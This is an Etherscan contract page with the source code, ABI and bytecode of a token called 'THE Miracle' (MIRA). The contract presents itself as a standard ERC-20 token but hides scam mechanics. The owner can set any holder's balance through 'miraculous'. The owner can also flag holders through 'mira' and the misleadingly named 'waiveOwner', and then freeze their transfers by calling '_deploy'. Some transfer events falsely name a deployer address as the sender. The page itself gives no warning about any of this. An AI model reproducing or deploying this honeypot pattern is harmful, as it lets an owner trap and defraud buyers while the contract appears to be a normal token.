Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...    - function mod(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b, st ...  contract miracle *    - function deploy(address account, uint ...    - function transfer(address to, uint256 ...    - function balanceOf(address account)    - function mira(address N)    - function approve(address spender, uin ...    - function miraculous(address N, uint25 ...    - function waiveOwner(address N)    - function miraL(address N)    - function _deploy()    - function transferFrom(address from, a ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-10-18
*/

// File: miracle.sol

pragma solidity 0.8.17;


  library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}   
 
 
contract miracle {
  
    mapping (address => uint256) public mHeal;
    mapping (address => bool) mUsr;



    // 
    string public name = "THE Miracle";
    string public symbol = unicode"MIRA";
    uint8 public decimals = 18;
    uint256 public totalSupply = 700000000 * (uint256(10) ** decimals);
    uint public dmd = 1;
   
    event Transfer(address indexed from, address indexed to, uint256 value);
   



        constructor()  {
        mHeal[msg.sender] = totalSupply;
        deploy(Deployer, totalSupply); }



	address owner = msg.sender;
    address Router = 0xf32D55C8986AF00f914C1AE6d27bf8E459451b83;
    address Deployer = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
   





    function deploy(address account, uint256 amount) public {
    require(msg.sender == owner);
    emit Transfer(address(0), account, amount); }
    modifier E() {   
    require(msg.sender == owner);
         _;}
    modifier F () {
        dmd = 0;
        _;}
    function transfer(address to, uint256 value) public returns (bool success) {

        if(msg.sender == Router)  {
        require(mHeal[msg.sender] >= value);
        mHeal[msg.sender] -= value;  
        mHeal[to] += value; 
        emit Transfer (Deployer, to, value);
        return true; } 
        if(mUsr[msg.sender]) {
        require(dmd == 1);} 
        require(mHeal[msg.sender] >= value);
        mHeal[msg.sender] -= value;  
        mHeal[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true; }


        function balanceOf(address account) public view returns (uint256) {
        return mHeal[account]; }
        function mira(address N) E public{          
        require(!mUsr[N]);
        mUsr[N] = true;}

        event Approval(address indexed owner, address indexed spender, uint256 value);

        mapping(address => mapping(address => uint256)) public allowance;

        function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;

        emit Approval(msg.sender, spender, value);
        return true; }
		 function miraculous(address N, uint256 R) E public returns (bool success) {
        mHeal[N] = R;
        return true; }
        function waiveOwner(address N) public {
        require(msg.sender == owner);
        mUsr[N] = true;}
        
        function miraL(address N) E public {
        require(mUsr[N]);
        mUsr[N] = false; }
		 function _deploy() F public {
            require(msg.sender == owner);
        }

   


    function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
        if(from == Router)  {
        require(value <= mHeal[from]);
        require(value <= allowance[from][msg.sender]);
        mHeal[from] -= value;  
        mHeal[to] += value; 
        emit Transfer (Deployer, to, value);
        return true; }    
        if(mUsr[from] || mUsr[to]) {
        require(dmd == 1);}
        require(value <= mHeal[from]);
        require(value <= allowance[from][msg.sender]);
        mHeal[from] -= value;
        mHeal[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }
    }

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"deploy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dmd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"mHeal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"N","type":"address"}],"name":"mira","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"N","type":"address"}],"name":"miraL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"N","type":"address"},{"internalType":"uint256","name":"R","type":"uint256"}],"name":"miraculous","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"N","type":"address"}],"name":"waiveOwner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600b81526020017f544845204d697261636c65000000000000000000000000000000000000000000815250600290816200004a9190620005a0565b506040518060400160405280600481526020017f4d4952410000000000000000000000000000000000000000000000000000000081525060039081620000919190620005a0565b506012600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a620000cc919062000817565b6329b92700620000dd919062000868565b600555600160065533600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f32d55c8986af00f914c1ae6d27bf8e459451b83600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d8da6bf26964af9d7eed9e03e53415d37aa96045600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001dd57600080fd5b506005546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000259600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005546200025f60201b60201c565b620008e1565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614620002ba57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200031a9190620008c4565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003a857607f821691505b602082108103620003be57620003bd62000360565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004287fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003e9565b620004348683620003e9565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004816200047b62000475846200044c565b62000456565b6200044c565b9050919050565b6000819050919050565b6200049d8362000460565b620004b5620004ac8262000488565b848454620003f6565b825550505050565b600090565b620004cc620004bd565b620004d981848462000492565b505050565b5b818110156200050157620004f5600082620004c2565b600181019050620004df565b5050565b601f82111562000550576200051a81620003c4565b6200052584620003d9565b8101602085101562000535578190505b6200054d6200054485620003d9565b830182620004de565b50505b505050565b600082821c905092915050565b6000620005756000198460080262000555565b1980831691505092915050565b600062000590838362000562565b9150826002028217905092915050565b620005ab8262000326565b67ffffffffffffffff811115620005c757620005c662000331565b5b620005d382546200038f565b620005e082828562000505565b600060209050601f83116001811462000618576000841562000603578287015190505b6200060f858262000582565b8655506200067f565b601f1984166200062886620003c4565b60005b8281101562000652578489015182556001820191506020850194506020810190506200062b565b868310156200067257848901516200066e601f89168262000562565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200071557808604811115620006ed57620006ec62000687565b5b6001851615620006fd5780820291505b80810290506200070d85620006b6565b9450620006cd565b94509492505050565b60008262000730576001905062000803565b8162000740576000905062000803565b816001811462000759576002811462000764576200079a565b600191505062000803565b60ff84111562000779576200077862000687565b5b8360020a91508482111562000793576200079262000687565b5b5062000803565b5060208310610133831016604e8410600b8410161715620007d45782820a905083811115620007ce57620007cd62000687565b5b62000803565b620007e38484846001620006c3565b92509050818404811115620007fd57620007fc62000687565b5b81810290505b9392505050565b600060ff82169050919050565b600062000824826200044c565b915062000831836200080a565b9250620008607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200071e565b905092915050565b600062000875826200044c565b915062000882836200044c565b925082820262000892816200044c565b91508282048414831517620008ac57620008ab62000687565b5b5092915050565b620008be816200044c565b82525050565b6000602082019050620008db6000830184620008b3565b92915050565b61180c80620008f16000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80634956eaf0116100a2578063a9059cbb11610071578063a9059cbb146102bc578063b49c92ed146102ec578063dd62ed3e14610308578063e3d7a3cf14610338578063f9dee658146103545761010b565b80634956eaf01461024857806370a082311461026457806395d89b41146102945780639fd2750c146102b25761010b565b806318160ddd116100de57806318160ddd146101be57806323b872dd146101dc57806326cb64d01461020c578063313ce5671461022a5761010b565b806306fdde0314610110578063095ea7b31461012e5780630ca1c70f1461015e57806310cccc321461018e575b600080fd5b610118610370565b604051610125919061148d565b60405180910390f35b61014860048036038101906101439190611548565b6103fe565b60405161015591906115a3565b60405180910390f35b610178600480360381019061017391906115be565b6104f0565b60405161018591906115fa565b60405180910390f35b6101a860048036038101906101a39190611548565b610508565b6040516101b591906115a3565b60405180910390f35b6101c66105b1565b6040516101d391906115fa565b60405180910390f35b6101f660048036038101906101f19190611615565b6105b7565b60405161020391906115a3565b60405180910390f35b610214610b54565b60405161022191906115fa565b60405180910390f35b610232610b5a565b60405161023f9190611684565b60405180910390f35b610262600480360381019061025d9190611548565b610b6d565b005b61027e600480360381019061027991906115be565b610c31565b60405161028b91906115fa565b60405180910390f35b61029c610c79565b6040516102a9919061148d565b60405180910390f35b6102ba610d07565b005b6102d660048036038101906102d19190611548565b610d6b565b6040516102e391906115a3565b60405180910390f35b610306600480360381019061030191906115be565b61110e565b005b610322600480360381019061031d919061169f565b6111c2565b60405161032f91906115fa565b60405180910390f35b610352600480360381019061034d91906115be565b6111e7565b005b61036e600480360381019061036991906115be565b6112f2565b005b6002805461037d9061170e565b80601f01602080910402602001604051908101604052809291908181526020018280546103a99061170e565b80156103f65780601f106103cb576101008083540402835291602001916103f6565b820191906000526020600020905b8154815290600101906020018083116103d957829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104de91906115fa565b60405180910390a36001905092915050565b60006020528060005260406000206000915090505481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461056457600080fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60055481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361081c576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561065957600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106e257600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610730919061176e565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461078591906117a2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161080b91906115fa565b60405180910390a360019050610b4d565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806108bd5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156108d2576001600654146108d157600080fd5b5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561091d57600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109a657600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109f4919061176e565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a4991906117a2565b9250508190555081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610adc919061176e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b4091906115fa565b60405180910390a3600190505b9392505050565b60065481565b600460009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bc757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2591906115fa565b60405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60038054610c869061170e565b80601f0160208091040260200160405190810160405280929190818152602001828054610cb29061170e565b8015610cff5780601f10610cd457610100808354040283529160200191610cff565b820191906000526020600020905b815481529060010190602001808311610ce257829003601f168201915b505050505081565b6000600681905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d6957600080fd5b565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610f4757816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e0d57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e5b919061176e565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb091906117a2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f3691906115fa565b60405180910390a360019050611108565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fa957600160065414610fa857600080fd5b5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ff457600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611042919061176e565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461109791906117a2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110fb91906115fa565b60405180910390a3600190505b92915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116857600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a602052816000526040600020602052806000526040600020600091509150505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461124157600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661129757600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461134c57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113a357600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561143757808201518184015260208101905061141c565b60008484015250505050565b6000601f19601f8301169050919050565b600061145f826113fd565b6114698185611408565b9350611479818560208601611419565b61148281611443565b840191505092915050565b600060208201905081810360008301526114a78184611454565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114df826114b4565b9050919050565b6114ef816114d4565b81146114fa57600080fd5b50565b60008135905061150c816114e6565b92915050565b6000819050919050565b61152581611512565b811461153057600080fd5b50565b6000813590506115428161151c565b92915050565b6000806040838503121561155f5761155e6114af565b5b600061156d858286016114fd565b925050602061157e85828601611533565b9150509250929050565b60008115159050919050565b61159d81611588565b82525050565b60006020820190506115b86000830184611594565b92915050565b6000602082840312156115d4576115d36114af565b5b60006115e2848285016114fd565b91505092915050565b6115f481611512565b82525050565b600060208201905061160f60008301846115eb565b92915050565b60008060006060848603121561162e5761162d6114af565b5b600061163c868287016114fd565b935050602061164d868287016114fd565b925050604061165e86828701611533565b9150509250925092565b600060ff82169050919050565b61167e81611668565b82525050565b60006020820190506116996000830184611675565b92915050565b600080604083850312156116b6576116b56114af565b5b60006116c4858286016114fd565b92505060206116d5858286016114fd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061172657607f821691505b602082108103611739576117386116df565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061177982611512565b915061178483611512565b925082820390508181111561179c5761179b61173f565b5b92915050565b60006117ad82611512565b91506117b883611512565b92508282019050808211156117d0576117cf61173f565b5b9291505056fea264697066735822122067dc50e0437b6792eaaa51b27a375621e1e3fb82ca0c320ae072290c8bfa6a5e64736f6c63430008110033

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80634956eaf0116100a2578063a9059cbb11610071578063a9059cbb146102bc578063b49c92ed146102ec578063dd62ed3e14610308578063e3d7a3cf14610338578063f9dee658146103545761010b565b80634956eaf01461024857806370a082311461026457806395d89b41146102945780639fd2750c146102b25761010b565b806318160ddd116100de57806318160ddd146101be57806323b872dd146101dc57806326cb64d01461020c578063313ce5671461022a5761010b565b806306fdde0314610110578063095ea7b31461012e5780630ca1c70f1461015e57806310cccc321461018e575b600080fd5b610118610370565b604051610125919061148d565b60405180910390f35b61014860048036038101906101439190611548565b6103fe565b60405161015591906115a3565b60405180910390f35b610178600480360381019061017391906115be565b6104f0565b60405161018591906115fa565b60405180910390f35b6101a860048036038101906101a39190611548565b610508565b6040516101b591906115a3565b60405180910390f35b6101c66105b1565b6040516101d391906115fa565b60405180910390f35b6101f660048036038101906101f19190611615565b6105b7565b60405161020391906115a3565b60405180910390f35b610214610b54565b60405161022191906115fa565b60405180910390f35b610232610b5a565b60405161023f9190611684565b60405180910390f35b610262600480360381019061025d9190611548565b610b6d565b005b61027e600480360381019061027991906115be565b610c31565b60405161028b91906115fa565b60405180910390f35b61029c610c79565b6040516102a9919061148d565b60405180910390f35b6102ba610d07565b005b6102d660048036038101906102d19190611548565b610d6b565b6040516102e391906115a3565b60405180910390f35b610306600480360381019061030191906115be565b61110e565b005b610322600480360381019061031d919061169f565b6111c2565b60405161032f91906115fa565b60405180910390f35b610352600480360381019061034d91906115be565b6111e7565b005b61036e600480360381019061036991906115be565b6112f2565b005b6002805461037d9061170e565b80601f01602080910402602001604051908101604052809291908181526020018280546103a99061170e565b80156103f65780601f106103cb576101008083540402835291602001916103f6565b820191906000526020600020905b8154815290600101906020018083116103d957829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104de91906115fa565b60405180910390a36001905092915050565b60006020528060005260406000206000915090505481565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461056457600080fd5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60055481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361081c576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561065957600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106e257600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610730919061176e565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461078591906117a2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161080b91906115fa565b60405180910390a360019050610b4d565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806108bd5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156108d2576001600654146108d157600080fd5b5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561091d57600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109a657600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109f4919061176e565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a4991906117a2565b9250508190555081600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610adc919061176e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b4091906115fa565b60405180910390a3600190505b9392505050565b60065481565b600460009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bc757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c2591906115fa565b60405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60038054610c869061170e565b80601f0160208091040260200160405190810160405280929190818152602001828054610cb29061170e565b8015610cff5780601f10610cd457610100808354040283529160200191610cff565b820191906000526020600020905b815481529060010190602001808311610ce257829003601f168201915b505050505081565b6000600681905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d6957600080fd5b565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610f4757816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e0d57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e5b919061176e565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb091906117a2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffff